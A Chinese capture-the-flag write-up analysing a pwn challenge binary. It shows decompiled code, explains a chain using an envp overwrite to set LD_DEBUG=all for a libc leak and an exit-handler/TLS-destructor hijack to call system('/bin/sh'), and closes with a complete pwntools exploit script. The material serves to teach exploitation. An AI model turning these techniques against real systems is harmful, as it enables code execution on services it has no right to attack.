前言
这道题目是广州强网杯的一道题目,利用方式比较巧妙,题目给了两个字节溢出、和一个任意地址写,通过这些漏洞可以有一些利用的方法,但是有一种方法是很巧妙的,也是出题人想让我们利用的方式,程序本身预置了后门函数,后门函数以test
身份重启了自身,然后exit了,而test
身份是有一个任意地址写的。
分析
程序经过ida分析后,发现程序有两个参数运行,一个是test
,一个real
,test会有一个任意地址写,real会进入主程序。test任意写如下:
void __noreturn sub_1CB0()
{
char *s[7]; // [rsp+0h] [rbp-38h] BYREF
s[1] = (char *)__readfsqword(0x28u);
puts("[+] Test remote IO.");
__printf_chk(1LL, "Where: ");
s[0] = 0LL;
input(s, 8LL);
__printf_chk(1LL, "Input: ");
input(s[0], 144LL);
__printf_chk(1LL, "Output: ");
puts(s[0]);
exit(0);
}
real主程序如下:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
const char *v4; // rbp
const char *v5; // r15
int v6; // ebx
__int128 buf; // [rsp+110h] [rbp-58h] BYREF
unsigned __int64 v8; // [rsp+128h] [rbp-40h]
v8 = __readfsqword(0x28u);
if ( a1 != 2 )
goto LABEL_2;
sub_16C0();
v4 = a2[1];
if ( !strcmp(v4, "test") )
sub_1CB0();
if ( strcmp(v4, "real") )
{
LABEL_2:
puts("Invalid.");
exit(0);
}
sub_1770();
buf = 0LL;
*(_QWORD *)&::buf[48] = a3; //envp
*(_QWORD *)&::buf[56] = a2;
__printf_chk(1LL, "User: ");
input(&buf, 13LL);
if ( !strcmp((const char *)&buf, "Administrator") )
{
puts("Login failed!");
exit(0);
}
puts("Login successful!");
while ( 1 )
{
LABEL_7:
v5 = aAddCard;
v6 = 0;
sub_1C20(); // menu
input(::buf, 50LL); // 2 bytes overflow can overflow envp
while ( strcmp(::buf, v5) )
{
++v6;
v5 += 16;
if ( v6 == 6 )
{
puts("Illegal.");
goto LABEL_7;
}
}
off_4080[v6](); // 函数的数组
}
}
主程序将a3(envp)放到了buf[48]的位置,但是在输入buf的时候大小是50,存在2字节溢出可以覆盖envp,menu所涉及的函数如下
.data:0000000000004080 off_4080 dq offset add_card ; DATA XREF: main+102↑o
.data:0000000000004088 dq offset Remove_Card
.data:0000000000004090 dq offset Write_Card
.data:0000000000004098 dq offset Read_Card
.data:00000000000040A0 dq offset Bye_bye
.data:00000000000040A8 dq offset sub_15C0 ; gift
.data:00000000000040A8 _data ends
add函数如下:
int add_card()
{
int v0; // ebx
_QWORD *i; // rax
int v2; // ebp
__int64 v3; // rax
void *v4; // rax
int *v5; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-20h]
v0 = 0;
v7 = __readfsqword(0x28u);
for ( i = &unk_4140; i[1] || *(_DWORD *)i; i += 2 )
{
if ( ++v0 == 16 )
return __readfsqword(0x28u) ^ v7;
}
__printf_chk(1LL, "Size: ");
v2 = input_size();
if ( (unsigned int)(v2 - 17) > 0x4F )
return __readfsqword(0x28u) ^ v7;
v4 = calloc(1uLL, v2);
v5 = (int *)((char *)&unk_4140 + 16 * v0);
*((_QWORD *)v5 + 1) = v4;
if ( !v4 )
exit(-1);
*v5 = v2;
__printf_chk(1LL, "Card: ");
input(*((void **)v5 + 1), *v5);
LODWORD(v3) = puts("OK.");
return v3;
}
__int64 input_size()
{
char v1[24]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
*(_OWORD *)v1 = 0LL;
*(_QWORD *)&v1[16] = 0LL;
input(v1, 25LL); // 1 byte overflow
return strtol(v1, 0LL, 10);
}
这里input size有一字节溢出。此外程序还有一个隐藏的gift函数,可以泄露栈地址的最后两个字节
unsigned __int64 sub_15C0()
{
int v1; // ebp
int v2; // eax
int v3; // edx
int buf; // [rsp+4h] [rbp-24h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-20h]
v5 = __readfsqword(0x28u);
if ( !unk_4120 )
{
unk_4120 = 1;
v1 = open("/dev/urandom", 0);
read(v1, &buf, 4uLL);
close(v1);
v2 = buf & 3;
switch ( v2 )
{
case 2:
buf = 0xFFF;
v3 = 0xFFF;
break;
case 3:
buf = 0xFFFF;
v3 = 0xFFFF;
break;
case 1:
buf = 0xFF;
v3 = 0xFF;
break;
default:
buf = 0xF;
v3 = 0xF;
break;
}
__printf_chk(1LL, "Gift: %d\n", (unsigned int)&buf & v3); // 2 bytes leak stack
}
return __readfsqword(0x28u) ^ v5;
}
除此之外,可以在程序初始化中有一个backdoor函数,可以以test参数重启程序,获得一次任意写能力:
unsigned int sub_16C0()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
signal(6, (__sighandler_t)handler); <----backdoor>
signal(14, (__sighandler_t)sub_14D0);
return alarm(0x28u);
}
void __noreturn handler() //以test重启自身
{
__int64 v0; // rax
char v1[88]; // [rsp+0h] [rbp-78h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-20h]
v2 = __readfsqword(0x28u);
v0 = *(_QWORD *)&buf[56];
if ( v0 )
{
**(_DWORD **)(v0 + 8) = 0x74736574; // test 参数
*(_OWORD *)v1 = 0LL;
*(_OWORD *)&v1[16] = 0LL;
*(_OWORD *)&v1[32] = 0LL;
*(_OWORD *)&v1[48] = 0LL;
*(_OWORD *)&v1[64] = 0LL;
readlink("/proc/self/exe", v1, 79uLL); //复制符号到v1
execve(v1, *(char *const **)&buf[56], *(char *const **)&buf[48]);// 重新执行程序
exit(0); // 退出
}
exit(-1);
}
利用思路
经过整理这些漏洞和后门,可以整理这样一个利用思路:
LD_DEBUG=all 这个环境变量,预示着程序执行时打印loader的信息,通过里面的信息可以获取libc地址。
首先利用 gift 功能泄露栈地址最后 2 字节,然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp 指针的最后2字节,使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发 abort,从而使得程序重启并进入后门(此时相当于控制了环境变量为 LD_DEBUG=all)。
│ 0x55a99e08559f mov rdi, rbp
► 0x55a99e0855a2 call execve@plt <execve@plt>
path: 0x7ffd0ba916c0 ◂— '/home/yrl/exp/mini'
argv: 0x7ffd0ba92348 —▸ 0x7ffd0ba93117 ◂— 0x7400696e696d2f2e /* './mini' */
envp: 0x7ffd0ba920f0 —▸ 0x7ffd0ba92200 ◂— 'LD_DEBUG=all'
0x55a99e0855a7 xor edi, edi
程序在重启时,就会打印调试信息,泄露libc地址,由于 libc 2.31 的 one_gadget 已经无法使用,所以最后利用任意地址写去劫持 exit_handlers 函数。
exit_handlers其实是用的stl结构,因为exit_handlers会用到stl结构,其中在__call_tls_dtors中会有一个call rax;的调用,在此之前我们只要将eax修改为system,再将其参数修改为‘/bin/sh’就行。往上追溯可以看到eax是由
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
控制,我们可以通过栈控制rax为0,然后fs:[0x30]
为system地址就行,参数rdi通过mov rdi, qword ptr [rbp + 8]
控制,改为/bin/sh
,所以就可通过call rax;来getshell,值得注意的是fs寄存器我们看不了,就要确定fs:[0x30]
到底在哪里,这就需要一定的经验,大致知道 tls 在mapped 那段地址上(即libc最后的那段没有名字的地址段上),exp的target的偏移是在fs:[0x30]
附近,通过布栈根据target便宜来找fs:[0x30]
具体在哪里,具体这个偏移只能不同版本,慢慢靠经验找;现在 glibc2.31 还是固定的,很好找,以前 2.27 每次重启都会变,所以打远程还要爆破
exp
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
#context.terminal = ["/usr/bin/tmux","sp","-h"]
# io = remote('127.0.0.1', 49158)
# libc = ELF('./libc-2.31.so')
io = process(['./mini', 'real'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
sla('User: ', 'LD_DEBUG=all') # 将LD_DEBUG=all放到栈上
# dbg()
# pause()
sla('>> ', '+_@*@&!$') # 触发后门gift,获取栈的最后两个字节
ru('Gift: ') # leak stack 2bytes
re = int(rl(), 10)
lg('re')
offset = re + 0x2c # 通过泄露的两个字节确定LD_DEBUG=all的位置
lg('offset')
assert(offset & 0xf000) # 确保两个字节
sa('>> ', 'A'*0x30+p16(offset)) # modify stack address envp (2bytes)-> LD_DENUG=all 通过两个字节溢出修改envp的最后两个字节使其指向LD_DEBUG=all
sla('>> ', 'Read_Card')
# dbg()
# pause()
sa('Index: ', 'B'*0x19) # 1byte onerflow -> trigger abort 通过一字节溢出修改返回地址为非法地址,触发abort,使系统捕获异常进入后门函数,重启以test参数程序
ru('file=libc.so.6 [0];') # test参数重启时打印debug信息,泄露libc,之后会有一个任意地址写
ru('base: ')
libc_base = int(ru(' size:'), 16)
lg('libc_base')
'''
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
0x7f9c9bd98435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7f9c9bd98439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
► 0x7f9c9bd9843d <__call_tls_dtors+61> call rax <system>
command: 0x7f9c9bf41568 ◂— 0x68732f6e69622f /* '/bin/sh' */
'''
target = libc_base + 0x1f34e8 # exit_handlers-> __call_tls_dtors->call rax; 确定劫持位置附近,通过偏移找到fs:[0x30],和rbp+8的位置,在rbp+8位置写入指向/bin/sh的指针
lg('target')
sla('Where: ', p64(target)[:-1])
paylaod = p64(target+0x70)
paylaod += 14*p64(0)
paylaod += p64(target+0x80)
paylaod += '/bin/sh\x00'
paylaod += p64(libc_base + libc.sym['system'])
sla('Input: ', paylaod[:-1])
irt()